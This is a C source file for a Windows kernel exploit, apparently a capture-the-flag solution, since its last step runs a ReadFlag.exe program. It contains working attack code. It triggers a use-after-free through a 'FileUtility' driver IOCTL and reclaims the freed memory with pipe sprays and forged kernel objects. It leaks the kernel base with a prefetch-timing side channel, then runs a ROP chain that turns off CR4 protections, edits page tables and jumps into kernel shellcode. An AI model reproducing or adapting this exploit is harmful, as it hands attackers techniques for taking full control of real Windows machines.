#include "handleapi.h"
#include "processthreadsapi.h"
#ifndef _WIN32
#define _WIN32 1
#endif

// clang-format off
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <unistd.h>
#include <psapi.h>
#include "FileUtility/interface.h"
// clang-format on

#ifndef DEBUG
#define DEBUG 1
#endif

#if DEBUG
#define BP(n) asm volatile("int3; .rept " #n "; nop; .endr")
#else
#define BP(n)
#endif

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004)

#define ViewShare 1
#define ViewUnmap 2

#define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE 0x11003c

typedef NTSTATUS(NTAPI *NtFsControlFile_t)(
    HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine,
    PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG FsControlCode,
    PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer,
    ULONG OutputBufferLength);

typedef NTSTATUS(NTAPI *NtMapViewOfSection_t)(
    HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress,
    ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset,
    PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType,
    ULONG Win32Protect);

typedef NTSTATUS(NTAPI *NtUnmapViewOfSection_t)(HANDLE ProcessHandle,
                                                PVOID BaseAddress);

typedef NTSTATUS(NTAPI *NtStopProfile_t)(HANDLE ProfileHandle);

typedef struct PIPE_PAIR {
  HANDLE r;
  HANDLE w;
} PIPE_PAIR;

typedef struct PIPE_CONN {
  HANDLE server;
  HANDLE client;
} PIPE_CONN;

typedef struct WAIT_CONTEXT_BLOCK {
  PVOID unknown[9];
} WAIT_CONTEXT_BLOCK;

typedef struct KDEVICE_QUEUE {
  PVOID unknown[5];
} KDEVICE_QUEUE;

typedef struct KDPC {
  PVOID unknown[8];
} KDPC;

typedef struct KEVENT {
  PVOID unknown[3];
} KEVENT;

typedef SHORT CSHORT;

typedef struct _DRIVER_OBJECT {
  CSHORT Type;
  CSHORT Size;
  void *DeviceObject;
  ULONG Flags;
  PVOID DriverStart;
  ULONG DriverSize;
  PVOID DriverSection;
  void *DriverExtension;
  UNICODE_STRING DriverName;
  PUNICODE_STRING HardwareDatabase;
  void *FastIoDispatch;
  void *DriverInit;
  void *DriverStartIo;
  void *DriverUnload;
  void *MajorFunction[0x1c];
} _DRIVER_OBJECT;

typedef struct _DEVICE_OBJECT {
  SHORT Type;
  USHORT Size;
  LONG ReferenceCount;
  struct _DRIVER_OBJECT *DriverObject;
  struct _DEVICE_OBJECT *NextDevice;
  struct _DEVICE_OBJECT *AttachedDevice;
  struct _IRP *CurrentIrp;
  void *Timer;
  LONG Flags;
  LONG Characteristics;
  void *Vpb;
  PVOID DeviceExtension;
  ULONG DeviceType;
  CCHAR StackSize;
  union {
    LIST_ENTRY ListEntry;
    WAIT_CONTEXT_BLOCK Wcb;
  } Queue;
  ULONG AlignmentRequirement;
  KDEVICE_QUEUE DeviceQueue;
  KDPC Dpc;
  ULONG ActiveThreadCount;
  PSECURITY_DESCRIPTOR SecurityDescriptor;
  KEVENT DeviceLock;
  USHORT SectorSize;
  USHORT Spare1;
  struct _DEVOBJ_EXTENSION *DeviceObjectExtension;
  PVOID Reserved;
} _DEVICE_OBJECT;

typedef struct _FILE_OBJECT {
  SHORT Type;
  SHORT Size;
  _DEVICE_OBJECT *DeviceObject;
  void *Vpb;
  PVOID FsContext;
  PVOID FsContext2;
  void *SectionObjectPointer;
  PVOID PrivateCacheMap;
  NTSTATUS FinalStatus;
  struct _FILE_OBJECT *RelatedFileObject;
  BOOLEAN LockOperation;
  BOOLEAN DeletePending;
  BOOLEAN ReadAccess;
  BOOLEAN WriteAccess;
  BOOLEAN DeleteAccess;
  BOOLEAN SharedRead;
  BOOLEAN SharedWrite;
  BOOLEAN SharedDelete;
  ULONG Flags;
  UNICODE_STRING FileName;
  LARGE_INTEGER CurrentByteOffset;
  ULONG Waiters;
  ULONG Busy;
  PVOID LastLock;
  KEVENT Lock;
  KEVENT Event;
  void *CompletionContext;
  KSPIN_LOCK IrpListLock;
  LIST_ENTRY IrpList;
  PVOID FileObjectExtension;
} _FILE_OBJECT;

NtFsControlFile_t pNtFsControlFile = NULL;
NtMapViewOfSection_t pNtFsMapViewOfSection = NULL;
NtStopProfile_t pNtStopProfile = NULL;

void log(const char *fmt, ...) {
  va_list ap;
  va_start(ap, fmt);
  vfprintf(stderr, fmt, ap);
  va_end(ap);
}

HANDLE open_driver() {
  HANDLE hDevice =
      CreateFileW(L"\\\\.\\FileUtility", GENERIC_READ | GENERIC_WRITE, 0, NULL,
                  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

  if (hDevice == INVALID_HANDLE_VALUE) {
    log("open_driver failed: %lu\n", GetLastError());
    exit(1);
  }

  log("hDevice handle = %p\n", HandleToLong(hDevice));
  return hDevice;
}

HANDLE open_file(const wchar_t *path) {
  HANDLE hFile = CreateFileW(path, GENERIC_READ | GENERIC_WRITE,
                             FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                             OPEN_ALWAYS, // open existing, create if missing
                             FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == INVALID_HANDLE_VALUE) {
    log("open_file failed: %lu\n", GetLastError());
    exit(1);
  }

  log("hFile handle = %p\n", HandleToLong(hFile));
  fflush(stdout);
  return hFile;
}

void set_file_size(HANDLE file, DWORD size) {
  LARGE_INTEGER li = {0};
  li.QuadPart = size;

  BOOL ok = SetFilePointerEx(file, li, NULL, FILE_BEGIN);
  if (!ok) {
    log("SetFilePointerEx failed: %lu\n", GetLastError());
    exit(1);
  }

  ok = SetEndOfFile(file);
  if (!ok) {
    log("SetEndOfFile failed: %lu\n", GetLastError());
    exit(1);
  }

  li.QuadPart = 0;
  ok = SetFilePointerEx(file, li, NULL, FILE_BEGIN);
  if (!ok) {
    log("SetFilePointerEx reset failed: %lu\n", GetLastError());
    exit(1);
  }
}

HANDLE pin_file_object_with_mapping(HANDLE file) {
  DWORD size = 0x1000;

  set_file_size(file, size);

  HANDLE mapping =
      CreateFileMappingW(file, NULL, PAGE_READWRITE, 0, size, NULL);

  if (!mapping) {
    log("CreateFileMappingW failed: %lu\n", GetLastError());
    exit(1);
  }

  log("mapping handle = %p\n", mapping);
  fflush(stdout);

  return mapping;
}

PIPE_CONN *setup_named_pipes(size_t count, DWORD in_quota, DWORD out_quota) {
  PIPE_CONN *pipes = (PIPE_CONN *)calloc(count, sizeof(PIPE_CONN));

  if (!pipes) {
    log("setup_pipes calloc failed\n");
    exit(1);
  }

  DWORD pid = GetCurrentProcessId();

  for (size_t i = 0; i < count; i++) {
    wchar_t name[128];

    swprintf(name, 128, L"\\\\.\\pipe\\spray_%lu_%zu", pid, i);

    pipes[i].server =
        CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX,
                         PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1,
                         out_quota, in_quota, 0, NULL);

    if (pipes[i].server == INVALID_HANDLE_VALUE) {
      log("CreateNamedPipeW failed at %zu: %lu\n", i, GetLastError());
      exit(1);
    }

    pipes[i].client = CreateFileW(name, GENERIC_READ | GENERIC_WRITE, 0, NULL,
                                  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (pipes[i].client == INVALID_HANDLE_VALUE) {
      log("CreateFileW pipe client failed at %zu: %lu\n", i, GetLastError());
      exit(1);
    }

    BOOL ok = ConnectNamedPipe(pipes[i].server, NULL);

    if (!ok) {
      DWORD err = GetLastError();

      if (err != ERROR_PIPE_CONNECTED) {
        log("ConnectNamedPipe failed at %zu: %lu\n", i, err);
        exit(1);
      }
    }
  }

  return pipes;
}

#define FSCTL_PIPE_INTERNAL_WRITE 0x119ff8

PIPE_CONN *setup_unbuffered_pipes(size_t count, DWORD in_quota, DWORD out_quota,
                                  int id) {
  PIPE_CONN *pipes = (PIPE_CONN *)calloc(count, sizeof(PIPE_CONN));

  if (!pipes) {
    log("setup_pipes calloc failed\n");
    exit(1);
  }

  DWORD pid = GetCurrentProcessId();
  for (size_t i = 0; i < count; i++) {
    wchar_t name[128];

    swprintf(name, 128, L"\\\\.\\pipe\\ubuf_spray_%lu_%zu", pid | (id << 16),
             i);

    pipes[i].server =
        CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
                         PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1,
                         out_quota, in_quota, 0, NULL);

    if (pipes[i].server == INVALID_HANDLE_VALUE) {
      log("CreateNamedPipeW failed at %zu: %lu\n", i, GetLastError());
      exit(1);
    }

    pipes[i].client =
        CreateFileW(name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
                    FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);

    if (pipes[i].client == INVALID_HANDLE_VALUE) {
      log("CreateFileW pipe client failed at %zu: %lu\n", i, GetLastError());
      exit(1);
    }

    BOOL ok = ConnectNamedPipe(pipes[i].server, NULL);

    if (!ok) {
      DWORD err = GetLastError();

      if (err != ERROR_PIPE_CONNECTED && err != ERROR_IO_PENDING) {
        log("ConnectNamedPipe failed at %zu: %lu\n", i, err);
        exit(1);
      }
    }
  }

  return pipes;
}

__attribute__((noinline)) void
spray_unbuffered_pipe_data(HANDLE pipe, void *content, DWORD content_len) {
  IO_STATUS_BLOCK iosb = {0};

  NTSTATUS st =
      pNtFsControlFile(pipe, NULL, NULL, NULL, &iosb, FSCTL_PIPE_INTERNAL_WRITE,
                       content, content_len, NULL, 0);

  /*
    STATUS_PENDING is expected/useful: the IRP stays queued.
    Do not treat it as failure.
  */
  if (!NT_SUCCESS(st) && st != STATUS_PENDING) {
    log("spray_unbuffered_pipe_data failed: 0x%08lx\n", st);
    exit(1);
  }
}

HANDLE g_driver = INVALID_HANDLE_VALUE;

void decrement_file_handle(HANDLE file) {
  FILEUTIL_ACCESS_INFORMATION info;
  DWORD returned = 0;
  BOOL ok =
      DeviceIoControl(g_driver, IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION,
                      file, 0, &info, sizeof(info), &returned, NULL);
  log("ok: %d\n", ok);
}

__attribute__((noinline)) void *map_view_of_section(HANDLE mapping) {
  PVOID base = NULL;
  SIZE_T view_size = 0; // 0 means map from offset to end of section
  LARGE_INTEGER offset = {0};

  NTSTATUS st = pNtFsMapViewOfSection(
      mapping,        // SectionHandle from CreateFileMappingW
      (HANDLE)-1,     // current process
      &base,          // receives mapped base
      0,              // ZeroBits
      0,              // CommitSize
      &offset,        // SectionOffset, NULL also okay for zero
      &view_size,     // in/out view size
      ViewUnmap,      // do not inherit into child processes
      0,              // AllocationType
      PAGE_READONLY); // PAGE_READONLY / PAGE_READWRITE / etc.

  if (!NT_SUCCESS(st)) {
    log("NtMapViewOfSection failed: 0x%08lx\n", st);
    exit(1);
  }

  return base;
}

typedef struct {
  HANDLE handle;
  HANDLE mapping;
  void *addr;
} UAF;

UAF *spray_files(int count) {
  UAF *files = calloc(count, sizeof(UAF));
  DWORD pid = GetCurrentProcessId();
  for (int i = 0; i < count; i++) {
    wchar_t path[128];
    swprintf(path, 128, L"file_spray_%lu_%zu", pid, i);
    files[i].handle = open_file(path);
  }

  BP(1);

  for (int i = 0; i < count; i++) {
    files[i].mapping = pin_file_object_with_mapping(files[i].handle);
  }

  for (int i = 0; i < count; i++) {
    decrement_file_handle(files[i].handle);
    decrement_file_handle(files[i].handle);
  }

  return files;
}

extern uint64_t measure(void *addr);

void determine_stats(int *threshold) {
  int iterations = 100;
  uint64_t sum_mapped = 0;
  uint64_t sum_unmapped = 0;
  void *mapped = &determine_stats;
  void *unmapped = (void *)0x1000;

  for (int i = 0; i < iterations; i++) {
    Yield();
  }

  for (int i = 0; i < iterations; i++) {
    sum_mapped += measure(mapped);
  }

  for (int i = 0; i < iterations; i++) {
    sum_unmapped += measure(unmapped);
  }

  int avg_mapped = sum_mapped / iterations;
  int avg_unmapped = sum_unmapped / iterations;
  int t = (avg_unmapped + avg_mapped) / 2;
  printf("avg mapped = %d\n", avg_mapped);
  printf("avg unmapped = %d\n", avg_unmapped);
  printf("threshold = %d\n", t);
  if (threshold) {
    *threshold = t;
  }
}

int classify(void *addr, int threshold, int iterations) {
  int mapped = 0;
  int unmapped = 0;
  for (int i = 0; i < iterations; i++) {
    if (measure(addr) <= threshold) {
      mapped += 1;
    } else {
      unmapped += 1;
    }
  }
  return (mapped > unmapped) ? 1 : 0;
}

void test(char *name, void *addr, int threshold) {
  printf("== %s\n", name);
  printf("%s\n", classify(addr, threshold, 20) ? "MAPPED" : "UNMAPPED");
  for (int i = 0; i < 10; i++) {
    printf("measure %s = %llu\n", name, measure(addr));
  }
}

void *experiment() {
  int threshold = 0;
  while (1) {
    determine_stats(&threshold);

    uint64_t lstar_offset = 0xbb3200;
    uint64_t kernel_lo = 0xfffff80000000000ull;
    uint64_t kernel_hi = 0xfffff80800000000ull;
    uint64_t results[0x100];
    memset(results, 0, sizeof(results));
    int found = 0;
    for (uint64_t addr = kernel_lo + lstar_offset; addr < kernel_hi;
         addr += 0x10000) {
      if (classify((void *)addr, threshold, 20)) {
        if (found < sizeof(results) / sizeof(results[0])) {
          results[found++] = addr;
        }
      }
    }
    log("found = %d\n", found);

    for (int i = 0; i < found; i++) {
      void *addr = (void *)results[i];
      int is_really_mapped = classify(addr, threshold, 100);
      if (!is_really_mapped) {
        log("initial scan found %llx, rescan says otherwise\n", addr);
        results[i] = 0;
        continue;
      }

      int prev_pages_mapped = 0;
      prev_pages_mapped += classify(addr - 0x1000, threshold, 100);
      prev_pages_mapped += classify(addr - 0x2000, threshold, 100);
      prev_pages_mapped += classify(addr - 0x3000, threshold, 100);
      if (prev_pages_mapped != 2) {
        log("prev_pages_mapped = %d\n", prev_pages_mapped);
        log("prev_pages_mapped was not 2, skipping\n");
        results[i] = 0;
        continue;
      }
    }

    int candidates = 0;
    void *candidate = NULL;
    for (int i = 0; i < found; i++) {
      void *addr = (void *)results[i];
      if (addr != NULL) {
        candidate = addr;
        candidates += 1;
      }
    }

    if (candidates == 1) {
      log("LSTAR is most likely: %llx\n", candidate);
      return candidate - lstar_offset;
    }
  }
}

extern void kernel_shellcode();

DWORD WINAPI exploit(void *arg) {
  log("hi!\n");

  uint64_t rtlclearbits_offset = 0x44a710;
  uint64_t ret_offset = 0x44a73a;
  uint64_t iop_invalid_device_request_offset = 0x2fb8e0;
  uint64_t _internal_longjmp_offset = 0x69cee0;

  void *kbase = experiment();
  log("kbase = %llx\n", kbase);

  HMODULE ntdll = GetModuleHandleA("ntdll.dll");
  pNtFsControlFile =
      (NtFsControlFile_t)GetProcAddress(ntdll, "NtFsControlFile");
  pNtFsMapViewOfSection =
      (NtMapViewOfSection_t)GetProcAddress(ntdll, "NtMapViewOfSection");
  pNtStopProfile = (NtStopProfile_t)GetProcAddress(ntdll, "NtStopProfile");

  g_driver = open_driver();

  PIPE_CONN *conns = setup_unbuffered_pipes(0x800, 0x1000, 0x1000, 1);

  int uaf_count = 1;
  UAF *files = spray_files(uaf_count);
  log("file spray done\n");

  BYTE content[0x180];
  memset(content, 'B', sizeof(content));
  BYTE dev[0x200];
  memset(dev, 'C', sizeof(dev));
  BYTE drv[0x200];
  memset(drv, 'D', sizeof(drv));

  void *ret = kbase + 0x2fb927;
  void *halt = kbase + 0x5818a2;
  void *pop_rcx = kbase + 0x20b2ba;
  void *mov_cr4_rcx = kbase + 0x4b1ac7;
  void *add_rax_rcx = kbase + 0x2b9eac;
  void *mov_rax_kthread = kbase + 0x40ec80;
  void *mov_rax_ptr_rax = kbase + 0x283c45;
  void *xchg_r11_rax_spadd_60_pop_rbx = kbase + 0x963b03;
  void *mov_rsp_r11 = kbase + 0x538d8a;
  void *push_rax_pop_rcx = kbase + 0x349fd1;
  void *pop_rdx = kbase + 0x2497b2;
  void *iofcompleterequest = kbase + 0x2fb910;
  void *mov_r9_rax_mov_rax_r9 = kbase + 0x430c36;
  void *mov_rax_r9 = kbase + 0x270d40;
  void *mov_ptr_rax_r8 = kbase + 0x3893e1;
  void *pop_r8 = kbase + 0x48af95;
  void *zwterminatethread = kbase + 0x69e3a0;
  void *and_rax_r8 = kbase + 0x54c7b2;
  void *pxe_base = kbase + 0x2c0928;
  void *pop_rax = kbase + 0x21ada2;
  void *mov_ptr_rax_r9 = kbase + 0x4046d7;
  void *mov_cr4_rax = kbase + 0xbd17c3;

  int x = 0;
  void *rc[0x100];
  rc[x++] = xchg_r11_rax_spadd_60_pop_rbx;
  x += 0x60 / 8;
  rc[x++] = 0;
  rc[x++] = pop_rcx;
  rc[x++] = (void *)0x70678;
  rc[x++] = mov_cr4_rcx;
  rc[x++] = pop_rax;
  rc[x++] = pxe_base;
  rc[x++] = mov_rax_ptr_rax;
  rc[x++] = mov_rax_ptr_rax;
  rc[x++] = pop_r8;
  rc[x++] = (void *)0x7fffffffffffffffull;
  rc[x++] = and_rax_r8;
  rc[x++] = mov_r9_rax_mov_rax_r9;
  rc[x++] = pop_rax;
  rc[x++] = pxe_base;
  rc[x++] = mov_rax_ptr_rax;
  rc[x++] = mov_ptr_rax_r9;
  rc[x++] = kernel_shellcode;
  log("setup rop chain\n");

  // objm header is 0x40, obj header is 0x30
  _FILE_OBJECT *fakeFile = (_FILE_OBJECT *)&content[0x70];
  _DEVICE_OBJECT *fakeDev = (_DEVICE_OBJECT *)&dev;
  _DRIVER_OBJECT *fakeDrv = (_DRIVER_OBJECT *)&drv;

  fakeFile->DeviceObject = fakeDev;
  fakeFile->Vpb = NULL;

  fakeDev->Vpb = NULL;
  fakeDev->AttachedDevice = NULL;
  fakeDev->DriverObject = fakeDrv;
  ((uint64_t *)fakeDev)[0] = 0;
  ((uint64_t *)fakeDev)[0x50 / 8] = (uint64_t)ret;
  ((uint64_t *)fakeDev)[0x58 / 8] = 0x1F80;
  ((uint64_t *)fakeDev)[0x10 / 8] = (uint64_t)rc;

  fakeDrv->MajorFunction[3] = kbase + _internal_longjmp_offset;

  log("closing\n");
  for (int i = 0; i < uaf_count; i++) {
    CloseHandle(files[i].handle);
  }

  for (int i = 0; i < 0x800; i++) {
    spray_unbuffered_pipe_data(conns[i].client, content, sizeof(content));
  }

  BP(2);

  for (int i = 0; i < uaf_count; i++) {
    files[i].addr = map_view_of_section(files[i].mapping);
  }
  log("views mapped\n");

  log("kernel_shellcode = %llx\n", kernel_shellcode);
  log("starting...\n");

  BP(3);

  log("at base: %d\n", *(volatile uint32_t *)files[0].addr);
  log("done!\n");
  return 0;
}

HANDLE make_exploit_thread() {
  DWORD tid = 0;

  HANDLE th = CreateThread(NULL,    // default security attributes
                           0,       // default stack size
                           exploit, // thread function
                           NULL,    // argument to thread function
                           0,       // run immediately
                           &tid);   // thread id out

  if (!th) {
    log("CreateThread failed: %lu\n", GetLastError());
    exit(1);
  }

  log("thread handle = %p, tid = %lu\n", th, tid);
  return th;
}

int main() {
  HANDLE expl = make_exploit_thread();

  log("waiting...\n");
  for (int i = 0; i < 5; i++) {
    sleep(1);
    log("flag?\n");
  }

  system("C:\\Windows\\ReadFlag.exe");
  log("done\n");
  while (1)
    Yield();
}